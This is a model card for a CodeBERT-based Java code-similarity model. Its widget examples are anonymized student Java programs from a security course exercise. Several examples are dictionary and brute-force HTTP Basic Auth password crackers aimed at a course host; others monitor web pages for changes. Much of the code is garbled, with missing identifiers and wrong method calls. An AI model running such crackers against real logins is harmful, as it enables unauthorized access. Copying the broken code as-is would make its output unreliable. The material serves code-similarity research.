Model: buelfhood/SOCO-Java-CodeBERT-ST
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss, arxiv:1908.10084, arxiv:1703.07737, base_model:microsoft/codebert-base, base_model:finetune:microsoft/codebert-base, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/codebert-base
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:33411, loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget: source_sentence: import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;

public class Dictionary 
{
  String uname = "";
  String pword = "null";
  Vector v = new Vector();
   int runTime;
  public void doConnect(String connect, int num)
  {
    String  = connect;
    
    try
     {
       URL secureSite = new URL();
       URLConnection connection = secureSite.openConnection();
       if (uname != null || pword != null)
	  {
	   
	    for(int i=num; i<v.size(); i++)
	    {
	      pword = (String)v.elementAt(i);
	      String up = uname + ":" + pword;
            String encoding;
            try
		{
		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
		  encoding = encoder.encode (up.getBytes());
		 
           }
	     catch (Exception ex) 
            {
		  Base64Converter encoder = new Base64Converter();
		  System.out.println("in catch");
              encoding = encoder.encode(up.getBytes());
           }
	     connection.setRequestProperty ("Authorization", " " + encoding);
           connection.connect();
           if(connection instanceof HttpURLConnection)
	     {
	       HttpURLConnection httpCon=(HttpURLConnection)connection;
             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
		  {
		   System.out.println("Not authorized - check  for details" + " -Incorrect Password : " + pword);
	         doConnect(i, i+1);
	       }
		else
		 { 
		  System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
	        System.out.println( +"\tPassword : "+ pword);

              runTime = System.currentTimeMillis() - runTime; 
              System.out.println("Time taken  crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken  crack password : "+ i);
	        System.exit(0);
	      }
	    }
	  }
      }
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
  }
  public Vector getPassword()
  {
    try
    {
      ReadFile  rf = new ReadFile();
      rf.loadFile();
      v = rf.getVector();
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
    return v;
  } 
  public void setTimeTaken( int timetaken)
  {
    runTime = timetaken;
  }   
  public static void main ( String args[] ) throws IOException 
  {
    
     runTime1 = System.currentTimeMillis();     
    Dictionary newDo = new Dictionary();
    newDo.setTimeTaken(runTime1);
    newDo. getPassword();
    String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
    newDo.doConnect(site, 0);
    
  }  
  
}

class  Base64Converter
      {
  
          public final char [ ]  alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
              '4', '5', '6', '7', '8', '9', '+', '/' }; 
  
  
          public String  encode ( String  s )
          {
              return encode ( s.getBytes ( ) );
          }
  
          public String  encode ( byte [ ]  octetString )
          {
              int  bits24;
              int  bits6;
  
              char [ ]  out
                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
  
              int outIndex = 0;
              int i        = 0;
  
              while ( ( i + 3 ) <= octetString.length ) {
                  
                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
  
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0000003F );
                  out [ outIndex++ ] = alphabet [ bits6 ];
              }
  
              if ( octetString.length - i == 2 )
              {
                  
                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
              }
              else if ( octetString.length - i == 1 )
              {
                  
                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
                  out [ outIndex++ ] = '=';
              }
  
              return new String ( out );
          }
       }
  
  

sentences: 


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File("index.html");
   static File tmpfile = new File("tmpindex.html");
   static File mdfile = new File("md5file.txt");
   static File tmpmdfile = new File("tmpmd5file.txt");
   static PrintWriter mailwriter = null;


   public static void main (String[] args) 
   {

      urlStr = "http://www.cs.rmit.edu./";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println("Sending Mail");
            p = Runtime.getRuntime().exec("./mailscript");
            p.waitFor();

         }
         else
            System.out.println(" mail sent");

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println("Malformed URL");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec("/usr//pwd"); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println("File with name 'index.html' found in directory.");
            mailwriter.println("Renaming existing 'index.html'  'tmpindex.html...");
            p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
            mailwriter.println();
            mailwriter.println("File with name 'md5file.txt' found in directory.");
            mailwriter.print("Renaming existing 'md5file.txt'  'tmpmd5file.txt...");

            mailwriter.println(".");

            mailwriter.println();
         }

         mailwriter.println("Downloading current version of site - " + urlStr);
         p = Runtime.getRuntime().exec("/usr/local//wget "+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println("File - " + urlStr + "index.html saved  disk for the first time.");
         }


      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println("Index Out Of Bounds Exception");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
         p.waitFor();
        bf = new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, "\"", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println("Exception");
           e.printStackTrace();
        }

        mailwriter.println("Creating file with md5sums of the webpage and images...");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println("IOException");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println("Interrupted Exception");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

         bf = new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println("---The file index.html has changed.---");
            mailwriter.println("-Diff of old and new -");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
            p.waitFor();
             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println("The file index.html hasn't changed.");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println("Changes  Images");
         mailwriter.println("-----------------");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println("The image "+mdImgName+" has changed.");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println("The image "+mdImgName+" is  new  this ");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println("The image "+tmpImgName+" is   longer  the ");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println("IOException");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println("Interrupted Exception");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println("IOException");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println("Interrupted Exception");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
      String str = new StringTokenizer(prsName, "/", false);

      while(str.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}
, import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class WatchDog
{
   private String address;
   private UnixMailing email;

   private int step = 0;
   private String buffer = "";

   public static void main(String [] args)
   {
      if (args.length < 2)
      {
         System.err.println("Invalid usage!");
         System.err.println("Usage: java WatchDog <url> <email>");
         System.exit(1);
      }

      String address = args[0];
      String email = args[1];
      WatchDog theProg = new WatchDog(address, email);

      try
      {
         File currDir = new File(".");
         File [] list = currDir.listFiles();
         for (int i = 0; i < list.length; i++)
         {
            if (list[i].getName().trim().startsWith("_buffer"))
               list[i].delete();
         }
      }
      catch(Exception e) {}

      while (true)
      {
         theProg.checkPage();
         try
         {
            Thread.sleep();
         }
         catch(InterruptedException e ) {}
      }

   }

   public WatchDog(String address, String email)
   {
      this.address = address;
      this.email = new UnixMailing(email);
   }

   public void checkPage()
   {
      try
      {
         File buffFp = new File("_bufferFile.html");
         Vector imgs = new Vector();

         boolean getAgain = false;
         if (buffFp.exists())
         {
            URLConnection conn = (new URL(address)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println("Checking file "+address);
            char i = '\0';
            char f = '\0';
            DataInputStream inFile = new DataInputStream(
                                             new FileInputStream(buffFp));
            try
            {
               int step = 0;
               while(true)
               {
                  i = (char)inNet.readByte();
                  f = (char)inFile.readByte();

                  if (i != f)
                  {
                     email.println("  changes in the content of the web: "+address);
                     System.out.println("  changes in the content of the web: "+address);
                     getAgain = true;
                     break;
                  }
                  tokenImages(i, imgs);
               }
            }
            catch(EOFException eofe) {}

            if (!getAgain)
            {
               try
               {
                  i = (char)inNet.readByte();
                  email.println("  changes in the content of the web: "+address);
                  System.out.println("  changes in the content of the web: "+address);
                  getAgain = true;
               }
               catch(EOFException eofe) {}
               try
               {
                  f = (char)inFile.readByte();
                  email.println("  changes in the content of the web: "+address);
                  System.out.println("  changes in the content of the web: "+address);
                  getAgain = true;
               }
               catch(EOFException eofe) {}
            }

            inFile.print();
            inNet.print();
         }
         else
            getAgain = true;


         if (getAgain)
         {
            getAgain = false;
            URLConnection conn = (new URL(address)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println("Storing file "+address);
            DataOutputStream outFile = new DataOutputStream(
                                             new FileOutputStream(buffFp));
            byte i = 0;
            try
            {
               while(true)
               {
                  i = inNet.readByte();
                  outFile.writeByte(i);
                  tokenImages((char)i, imgs);
               }
            }
            catch(EOFException eofe) {}

            outFile.print();
            inNet.print();
         }
         for(int index = 0; index < imgs.size(); index++)
            checkImage(address, (String)imgs.get(index));
         email.sent();
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }


   public void tokenImages(char i, Vector imgs)
   {
      if (step == 1) 
      {
         if (i == 'i' && buffer.length() <= 0 ||
             i == 'm' && buffer.equals("i") ||
             i == 'g' && buffer.equals("im"))
         {
            buffer += i;
            buffer = buffer.toLowerCase();
         }
         else
         {
            if (Character.isWhitespace(i) && buffer.equals("img"))
               step = 2;
            else if (!Character.isWhitespace(i) || buffer.length() > 0)
               step = 0;
            buffer = "";
         }
      }
      else if (step == 2) 
      {
         if (i == 's' && buffer.length() <= 0 ||
             i == 'r' && buffer.equals("s") ||
             i == 'c' && buffer.equals("sr"))
         {
            buffer += i;
            buffer = buffer.toLowerCase();
         }
         else
         {
            if (Character.isWhitespace(i) && buffer.equals("src"))
               step = 3;
            else if (i == '=' && buffer.equals("src"))
               step = 4;
            else if (i == '>')
               step = 0;
            buffer = "";
         }
      }
      else if (step == 3) 
      {
         if (i == '=')
         {
            step = 4;
         }
         else if (!Character.isWhitespace(i))
         {
            if(i == '>')
               step = 0;
            else
               step = 2;
            buffer = "";
         }
      }
      else if (step == 4) 
      {
         if (i == '\"')
         {
            step = 5;
            buffer = "";
         }
         else if (!Character.isWhitespace(i))
         {
            if(i == '>')
            {
               buffer = "";
               step = 0;
            }
            else
            {
               buffer = ""+i;
               step = 6;
            }

         }

      }
      else if (step == 5) 
      {
         if (i == '\"')
         {
            if (buffer.trim().length() > 0)
               imgs.add(buffer);
            buffer = "";
            step = 0;
         }
         else
            buffer += i;
      }
      else if (step == 6) 
      {
         if (Character.isWhitespace(i) || i == '>')
         {
            if (buffer.trim().length() > 0)
               imgs.add(buffer);
            buffer = "";
            step = 0;
         }
         else
            buffer += i;
      }
      else if(i == '<')
      {
         step = 1;
         buffer = "";
      }
   }

   public void checkImage(String hostUrl, String imageUrl)
   {
      try
      {
         String fullURL = "";
         if (imageUrl.startsWith("http"))
         {
            fullURL = imageUrl;
         }
         else if (imageUrl.startsWith("/"))
         {
            fullURL = "http://"+(new URL(hostUrl)).getHost()+imageUrl;
         }
         else
         {
            String path = (new URL(hostUrl)).getPath();
            if (!path.endsWith("/"))
               path = path.substring(0, path.lastIndexOf('/')+1);

            fullURL = "http://"+(new URL(hostUrl)).getHost()+path+imageUrl;
         }

         File buffFp = new File("_buffer"+
                      (new URL(fullURL)).getPath().replaceAll("/", "_"));
         Vector imgs = new Vector();

         boolean getAgain = false;
         if (buffFp.exists())
         {
            URLConnection conn = (new URL(fullURL)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println("Checking image: "+fullURL);
            byte i = 0;
            byte f = 0;
            DataInputStream inFile = new DataInputStream(
                                             new FileInputStream(buffFp));
            try
            {
               int step = 0;
               while(true)
               {
                  i = inNet.readByte();
                  f = inFile.readByte();

                  if (i != f)
                  {
                     email.println("Image "+fullURL+" has been change!");
                     System.out.println("Image "+fullURL+" has been change!");
                     getAgain = true;
                     break;
                  }
               }
            }
            catch(EOFException eofe) {}

            if (!getAgain)
            {
               try
               {
                  i = inNet.readByte();
                  email.println("Image "+fullURL+" has been change!");
                  System.out.println("Image "+fullURL+" has been change!");
                  getAgain = true;
               }
               catch(EOFException eofe) {}
               try
               {
                  f = inFile.readByte();
                  email.println("Image "+fullURL+" has been change!");
                  System.out.println("Image "+fullURL+" has been change!");
                  getAgain = true;
               }
               catch(EOFException eofe) {}
            }

            inFile.print();
            inNet.print();
         }
         else
            getAgain = true;

         if (getAgain)
         {
            getAgain = false;
            URLConnection conn = (new URL(fullURL)).openConnection();
            conn.setDoInput(true);
            conn.connect();
            DataInputStream inNet = new DataInputStream(conn.getInputStream());

            System.out.println("Storing the image: "+fullURL);
            DataOutputStream outFile = new DataOutputStream(
                                             new FileOutputStream(buffFp));
            byte i = 0;
            try
            {
               while(true)
               {
                  i = inNet.readByte();
                  outFile.writeByte(i);
               }
            }
            catch(EOFException eofe) {}

            outFile.print();
            inNet.print();
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }
   }
}

, import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod("HEAD");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println("cracked with " + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println(" was  exception: " + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println("Unable  determine password");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = "";
      return new PasswordAuthentication(user, password);
   }
}
, source_sentence: import java.io.*;
import java.net.*;











public class Dictionary
{
   private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int respCode;        
   private static BufferedReader buf;  

   public Dictionary()
   {
      FileReader fRead;
      Authenticator.setDefault(new DictionaryAuthenticator());
      t_counter = 0;
      f_counter = 0;
      length = 0;

      try
      {
         fRead = new FileReader("/usr/share/lib/dict/words");
         buf = new BufferedReader(fRead);
      }
      catch (FileNotFoundException e)
      {
         System.out.println("File not found");
      }
   }

   public static void main(String[] args)
   {
      Dictionary dict = new Dictionary();
      String file = " ";
      while(respCode != 200 )
      {
         file = dict.fetchURL();
      }
      System.out.println("Number of attempts: " + t_counter);
      System.out.println("Password: " + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println("Error  URL");
      }
      return sw.toString();
   }
            
   class DictionaryAuthenticator extends Authenticator 
   {
      private String username = "";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         String word = null;
         int chars;
         char c[] = null;
 
         chars = 0;
       
         if(f_counter == 0) 
         
         
         { 
            try
            {
               
               {
                  word = buf.readLine();
                  if(word != null)
                  {
                     length = word.length();
                     chars = 0;
                     for(int i=0; i<length; i++)
                     {
                        if(Character.isLetter(word.charAt(i))) chars++;
                     }
                  }
               }
               while( word != null && (length > 3 || chars != length));

            }
            catch (IOException ioe)
            {
               System.out.println("IO Error: " + ioe);
            }

            if(word != null)
            {
               c = word.toCharArray(); 
               password = new String(c);
            } 
            else
            {
               System.out.println(" more words in dictionary");
               System.exit(0);
            }

            f_counter++;
         } 
         else
         
         {
            c = password.toCharArray(); 
            for(int i=0; i< length; i++)
            {
               if(Character.isLowerCase(c[i]))
               {
                  c[i] = Character.toUpperCase(c[i]);
               }
               else
               {
                  c[i] = Character.toLowerCase(c[i]);
               }
            }
            password = new String(c);
            f_counter = 0;
         }

         t_counter++;

         return c;
      }
   }
}

sentences: 




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

	private static Properties dictProps;



	public DictionaryPropertyHelper() {
	}


	
	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the dictionary Props");
			e.printStackTrace();
		}
		return dictProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(dictProps == null){
			dictProps = new Properties();

			InputStream fis =
				DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
			dictProps.load(fis);
		}
	}
}

, 

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class BruteForce extends Thread
{
   private static final String USERNAME = "";
   private static final char [] POSSIBLE_CHAR =
        {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
         'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
         'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
         'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private static int NUMBER_OF_THREAD = 500;

   private static Date startDate = null;
   private static Date endDate = null;

   private String address;
   private String password;

   public BruteForce(String address, String password)
   {
      this.address = address;
      this.password = password;
   }

   public static void main(String[] args) throws IOException
   {
      if (args.length < 1)
      {
         System.err.println("Invalid usage!");
         System.err.println("Usage: java BruteForce <url>");
         System.exit(1);
      }

      try
      {
         brute(args[0], USERNAME);
      }
      catch(Exception e)
      {
         e.printStackTrace();
         System.exit(1);
      }
   }

   public static void brute(String address, String user)
   {
      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
      int index = 0;

      startDate = new Date();
      for(int i = 0; i < POSSIBLE_CHAR.length; i++)
      {
         for(int j = 0; j < POSSIBLE_CHAR.length; j++)
         {
            for(int k = 0; k < POSSIBLE_CHAR.length; k++)
            {
               String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
                                 POSSIBLE_CHAR[k];

               if (threads[index] != null && threads[index].isAlive())
               {
                  try
                  {
                     threads[index].join();
                  }
                  catch(InterruptedException e ) {}
               }
               threads[index] = new BruteForce(address, password);
               threads[index].get();

               index = (index++) % threads.length;
            }
         }
      }
   }

   public void run()
   {
      if (endDate != null)
         return;

      try
      {

         URLConnection conn = (new URL(address)).openConnection();
         conn.setDoInput(true);

         if (login(conn, USERNAME, password))
         {
            endDate = new Date();
            System.out.println("Found the password: \""+password+"\"!");
            SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
            System.out.println("Process started at: "+format.format(startDate));
            System.out.println("Process started at: "+format.format(endDate));
            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
            System.out.println("Time taken: "+timeTaken+" minutes");
            System.exit(0);
         }
         else
         {
            System.out.println("Password: \""+password+"\" Failed!");
            return;
         }
      }
      catch(Exception e)
      {
         e.printStackTrace();
      }

   }

   public static boolean login(URLConnection conn, String user, String pass)
   {
      try
      {
         String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
         conn.setRequestProperty ("Authorization", encodeAuth);
         conn.connect();
         conn.getInputStream();
      }
      catch(Exception e)
      {
         return false;
      }
      return true;
   }
}


, 

import java.io.*;
import java.util.*;
import java.*;

public class storeNewFile
{
   private PrintWriter outputStream= null;
   private String filename;
   private FileWriter fw;

   public storeNewFile(String fname)
   {
      try
      {
       filename = fname;
       outputStream=new PrintWriter(new FileOutputStream(filename));
      }
      catch(FileNotFoundException e)
      {
	    System.err.println("File "+filename+" was not found");
      }
      catch(IOException e)
      {
        System.err.println("Error ");
      }
   }
   public void getStringW(StringWriter sw)
   {
     outputStream.print(sw.toString());
   }

   public void closeStream()
   {
      outputStream.write();
   }

   public void translogFile(String result)
   {
     String fileName = "TransactionLog.txt";
   	 try{
	    fw=new FileWriter(fileName,true);
	    fw.write(result);
	    fw.write('\n');
	    fw.print();
   	    System.out.println("Saved sucessfully");
     }catch(IOException e){
		System.out.println("Error saving the file");
     }
   }
}, source_sentence: import java.net.*; 
import java.io.*; 
import java.util.Vector;
import java.util.Date;
import java.security.*;











  
public class Dictionary { 
  public static BufferedReader in;
  
  
  public static void main(String[] args) throws Exception {   
    String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";    
    int count=0;
    Date date = new Date();
     startTime=date.getTime();
    int LIMITINMINUTES=45;
    int TIMELIMIT=LIMITINMINUTES*1000*60;
    boolean timedOut=false;
    boolean found=false;
   
    
    Vector dictionary=new Vector(readWords());
    System.out.println("Words in dictionary: "+dictionary.size());
 
    
    
    
    
    
    
    while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
      
      Date endDate = new Date();
       endTime=endDate.getTime();    
      if (endTime>(TIMELIMIT+startTime)){
        System.out.println("Timed out");
        timedOut=true;
      }
      
      String password = "";

      
